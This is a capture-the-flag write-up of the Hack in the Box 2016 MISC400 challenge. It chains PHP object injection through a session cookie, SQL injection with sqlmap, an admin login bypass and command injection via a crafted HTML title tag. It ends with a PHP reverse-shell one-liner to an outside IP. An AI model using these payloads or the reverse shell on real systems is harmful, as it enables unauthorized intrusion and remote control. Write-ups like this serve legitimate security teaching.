Hack in the Box 2016 - MISC400 Writeup (Part 1)

June 09, 2016

The challenge

This year the CTF prize sponsors Beyond Security contributed a 400 point challenge:

MISC400 - Above and Beyond
Even chefs need a bit of help sometimes, especially when it comes to IT related subjects.
Luckily, the guys at Beyond Security are always willing to offer a helping hand through their IT blog.
So, if you have any trouble, try the blog at http://145.111.225.63/

The basics

Visiting this blog presented us with the following website:

Browsing the website we identified a number of read only, static pages - nothing particularly interesting. However, by viewing the CSS source we identify the following:

.form-signin input[type="email"] {
    margin-bottom: -1px;
    border-bottom-right-radius: 0;
    border-bottom-left-radius: 0;
}
.form-signin input[type="password"] {
    margin-bottom: 10px;
    border-top-left-radius: 0;
    border-top-right-radius: 0;
}

So, there must be a form available somewhere, eventually one of the usual suspects gives a hit and we find the admin panel:

http://145.111.225.63/admin/

This admin panel requires authentication and the ‘hint’ implies brute forcing is not a good solution. Luckily, the HTML source gives our next hint, backups are stored on the server:

http://145.111.225.63/admin/backup/

Accessing this directory we identify a number of backup archives are accessible:

Selecting a backup archive at random, we find it is password protected.

So, let’s try them all:

wget --mirror http://145.111.225.63/admin/backup/
for a in *.tar.gz; do tar -zxvf $a; done

With access to the source code, things start to get interesting:

Needle in the haystack

After some precursory browsing of the source code, we find the Session class to be particularly interesting. The Session class is implemented as a singleton and can be directly initialised through the admin directory, via either the index.php or manage.php URLs.

This Session class contains (among others) the following functions:

private function __construct()
{
    if (isset($_COOKIE['session']))
    {
        $this->loadSession($_COOKIE['session']);
    }
    else
    {
        $this->createTempSession();
    }
}

private function loadSession($data)
{
    $decoded_data = base64_decode($data);
    $arr = unserialize($decoded_data);
    $this->_sessionid = $arr['sessionid'];
    foreach($arr['data'] as $key => $value)
    {
        $this->_data_arr[$key] = $value;
    }
}

So, we have an arbitrary object injection when the Session object is initialised.

The question becomes, what can we do with this?

Tracing our flows

With these kinds of challenges (i.e. too many lines of source code), I always prefer to draw the call graphs to trace the function flows and thereby gain a clearer understanding of how the application works and which functions we can call.

To prevent unnecessary confusion from the scratchings I made during the CTF, I have reproduced these graphs with the help of Dia.

Below, we can see the function flow (as seen in the source above) to reach the vulnerable unserialise call with our user supplied data:

Now we have a clear understanding of how to reach the vulnerable function call, we can start looking for ways to abuse this object injection.

Digging deeper

Via the User class, we identify the following function:

public function rewind()
{
    $con = Database::getInstance()->getConnection();
    $users_table = Config::getInstance()->getTables()['users'];
    $escaped_user = $con->real_escape_string($this->_user);
    $query = "SELECT `last_login` FROM `$users_table` WHERE `user`=$escaped_user";
    $res = $con->query($query);
    if ($res)
    {
        $this->_access_time = $res->fetch_array(MYSQLI_ASSOC)['last_login'];
    }
}

As we can see, an SQL query is generated utilising an escaped version of the User object’s _user variable. However, prior to being inserted into the query, the data is sanitised using PHP’s real_escape_string.

As per the documentation (and assuming ‘regular’ character sets), PHP’s real_escape_string call encodes the following characters:

Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.

As per the function above, the escaped user input is not enclosed within quotes, therefore this function is still vulnerable to SQL injection attacks.

As an example, we can circumvent the real_escape_string call by creating a User object with a username of ‘1 or sleep(5)’, which will result in the following SQL query after sanitisation (and will cause the database to sleep for 5 seconds):

SELECT 'last_login' FROM '$users_table' WHERE 'user'=1 or sleep(5)'

The only problem with this path of attack is the rewind function is never called by the application..

Calling uncallable functions

Taking a closer look at the User class, we see it implements the Iterator interface. This interface allows the associated object to be used as part of a foreach loop. To facilitate this, the interface permits custom implementations of the following functions:

abstract public mixed current ( void )
abstract public scalar key ( void )
abstract public void next ( void )
abstract public void rewind ( void )
abstract public boolean valid ( void )

As per the PHP documentation, rewind is used to ‘rewind the Iterator to the first element’ and is the first method called at the start of a foreach loop.

With this understanding, the SQL injection can be triggered as follows:

  • Create a User object with a customisable username
  • Utilise this object in a foreach loop to trigger the Iterator (thereby rewinding to the first element)
  • Perform the SQL injection via the insecure real_escape_string sanitisation
  • Extract the administrator’s username and password

As we identified in the code snippet above, the loadSession function is called with our user supplied data as part of a cookie. This function takes the cookie data, base64_decodes it, unserialises it, then finally performs a foreach loop to map the data as part of an array within the object.

Using this information, we can create our own dummy function, which creates a custom serialised object matching the conditions outlined in our above attack:

public function fast_forward()
{
    $final = array(
        'sessionid' => 'a',
        'data' => new User($_GET[1],'b',1)
    );
    $session = base64_encode(serialize($final));
}

Setting the $session output as our session cookie and accessing the application will cause the above attack chain to be triggered.

Automating the injection

To make life easier, we can set-up a local proxy:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://145.111.225.63/admin/index.php");
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Cookie: session=$session;PHPSESSID=5rsdlv7c8gnetb6jbj3h313gs5"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);  
echo $output;

Then allow sqlmap to perform the heavy lifting:

python sqlmap.py -u "http://127.0.0.1/p.php?1=1" -p1 --level=5 --risk=3 --sql-shell

Once the injection point is identified, we can perform arbitrary SQL commands against the server database, such as extracting the username and password of the admin user:

Tracing our flows (again)

Now we have access to both the username and the MD5 password for the admin user of the application. Assuming this MD5 cannot be trivially cracked, we need to find another way to abuse this information.

Via the application there are two ways to attempt to access the administrative panel, either via index.php or manage.php which result in a slightly different authorisation check.

Via index.php we can access functions in the following paths:

Via manage.php we can access functions in the following paths:

Therefore, it is possible to instantiate our User object and influence the subsequent checkPassword authorisation flow with different boolean values for the _is_session parameter:

public function checkPassword()
    {
        $data = $this->selectDataByUser();
        $pass = $this->_password;	
        if (!$this->_is_session)
        {
            $pass = md5($pass);
        }	
        if ($data['password'] === $pass)
        {
            /* Update the login time */
            /* TODO: Maybe not the right place to update the login time? */
            $this->updateLogin();
            return True;
        }	
    return False;
}

Since we already know the MD5 value of the password (via the SQL injection), we want the _is_session parameter to be set to true, thereby skipping the function. We can achieve this condition with a secondary object injection attack:

  • Create a User object with the known valid credentials
  • Access the function flow via manage.php (resulting in the MD5 function not being called)
  • Gain access to administrative functions without cracking the password

We can therefore gain administrative access to the application with the following object:

private function md0()
{
    $final = array(
        'sessionid' => 'a',
        'data' => array(
            'user' => 'admin',
            'pass' => 'b9cf928d0e7a0e2ff0e0f57e8468f7da'
        )
    );
}

Setting this as the session cookie in our browser and accessing the administrative interface via manage.php permits us to successfully access the application as an administrator:

Back to the source

Now we are administrators, we have access to some interesting new functions:

if (isset($_POST['resolve']))
{
    $output = shell_exec('nslookup '.escapeshellarg($_POST['host']).' 2>&1');
    echo $output;
}
if (isset($_POST['download']))
{
    $data = @file_get_contents($_POST['url']);
    if (!$data)
    {
        echo 'Could not download the page';
    }
    else
    {
        $matches = array();
        if (preg_match('/(.*?)<\/title>/', $data, $matches)) {
            $encoded = base64_encode($data);
            system("echo $encoded > files/$matches[1]");
        }
        else {
            echo 'Could not fetch the filename';
        }
    }
}

As an attacker, the download function looks most interesting. A user supplied website can be downloaded via the file_get_contents call, then a regular expression is performed against the content to obtain the website’s title. The website data is then saved in a base64_encoded format in the files directory; all within a native system call.

The output of the website’s data is saved based on the matches array which is a result of the preg_match call:

$matches[0] will contain the text that matched the full pattern, $matches[1] will have the text that matched the first captured parenthesized subpattern, and so on.

As per the function definition and the above implementation, we can control the data stored within $matches[1], by hosting our own webpage with a custom, malicious <title> tag which we can then abuse to break out of the underlying system call.

Remote code execution

As an example, we can ‘break out’ of the system call and perform ls on the local file system via the following:

php -r 'system("echo a > test;ls");'

So, let’s set up a website on our local machine with these malicious <title> tags:

<title>Not a suspicious website;ls</title>

Then download this page via the management application:

Finally, we have obtained code execution on the application server.

An obvious flag was not accessible in the webroot, so the next step is to gain a shell on the server (they removed python for some reason?):

<title>Not a suspicious website;php -r '$sock=fsockopen("145.111.241.25",1234);exec("/bin/sh -i <&3 >&3 2>&3");'</title>

Surely we must have earned some points by now right?

Wrong:

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=85ac919bb9c5311f8bdbcf2e6255814d227d8b76, not stripped

Stay tuned for part 2…